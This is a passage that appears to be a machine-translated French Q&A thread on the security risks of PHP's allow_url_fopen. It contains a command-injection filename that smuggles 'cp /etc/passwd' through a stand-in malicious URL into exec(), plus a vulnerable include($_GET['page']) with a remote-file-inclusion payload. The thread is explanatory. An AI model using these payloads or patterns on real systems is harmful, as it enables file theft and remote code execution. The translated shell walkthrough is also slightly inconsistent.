web-dev-qa-db-fra.com

Quels sont PHP allow_url_fopen risque de sécurité?

Récemment, je lisais n article sur file_get_contents et HTTPS .

Une partie qui a attiré mon attention est:

Bien sûr, le paramètre allow_url_fopen comporte également un risque distinct d'activer les attaques d'exécution de fichiers à distance, de contournement du contrôle d'accès ou de divulgation d'informations. Si un attaquant peut injecter l'URI distant de son choix dans une fonction de fichier, il pourrait manipuler une application pour exécuter, stocker ou afficher le fichier récupéré, y compris ceux provenant de toute source distante non fiable. Il convient également de garder à l'esprit que ces récupérations de fichiers proviendraient de localhost et seraient donc capables de contourner les contrôles d'accès en fonction des restrictions du serveur local. En tant que tel, bien que allow_url_fopen soit activé par défaut, vous devez le désactiver sans hésitation pour maximiser la sécurité.

J'ai 2 questions:

  1. Que peut faire un attaquant avec allow_url_fopen et comment le ferait-il?
  2. Est allow_url_fopen toujours un risque pour la sécurité ou uniquement lorsque vous acceptez l'entrée utilisateur dans le wrapper fopen?

Autres liens intéressants

9
Gudradain

Un exemple de scénario d'attaque utilisant allow_url_fopen Qui me permet de télécharger votre fichier de mot de passe:

  1. Supposons que votre application me permette de fournir une URL vers une image distante, que vous téléchargerez et utiliserez comme image d'avatar.
  2. Je fournis l'URL suivante: "http://my.malicious.example.com/sbwoodside.jpg;cp%20/etc/passwd%20downloads/foo.jpg;"
  3. Votre application utilise allow_url_fopen Pour télécharger le fichier et le stocke sous "sbwoodside.jpg;cp%20/etc/passwd%20downloads/passwords.txt;". J'ai maintenant réussi à injecter une commande dans le nom de fichier.
  4. Votre application souhaite compresser et redimensionner mon image, vous utilisez donc ImageMagick sur la ligne de commande avec quelque chose comme exec("magick convert -size 128x128 ".$filename." ".$filename.".128.jpg")
  5. Qu'est-ce que exec exécute réellement? Si vous n'avez pas filtré le nom de fichier, il exécute ce qui suit sur le shell:

magick convert -size 128x128 sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt; sbwoodside.jpg;cp /etc/passwd downloads/passwords.txt;.128.jpg

Puisque ; Est une commande délimitée sur le Shell, celle-ci sera automatiquement divisée par le Shell en les commandes distinctes suivantes:

magick convert -size 128x128 sbwoodside.jpg cp /etc/passwd downloads/passwords.txt sbwoodside.jpg cp /etc/passwd downloads/passwords.txt .128.jpg

Et maintenant, je vais simplement dans http://yourapp.com/downloads/passwords.txt Et je télécharge votre fichier de mot de passe. Bien sûr, je peux faire tout ce que je veux, car j'exécute des commandes en tant que serveur Web sur votre système.

3
Simon Woodside

Cela dépend de toi! Comment avez-vous conçu vos applications et êtes-vous considéré comme la sécurité tout au long du cycle de vie du développement logiciel?

Considérez le code non sécurisé ci-dessous qui charge les pages Web en fonction du paramètre de demande (page):

<?php
include($_GET['page']);
?>

Et considérons maintenant qu'un attaquant inclut un code malveillant PHP en utilisant:

?page=http://example.com/badcode-php.txt

Il peut alors contourner toutes les mesures de sécurité de votre site et faire n'importe quoi (accéder aux fichiers locaux, télécharger un autre fichier, etc.).

Il est donc recommandé de désactiver allow_urL_fopen et allow_url_include pour minimiser l'attaque d'exécution de fichiers à distance.

1
Akam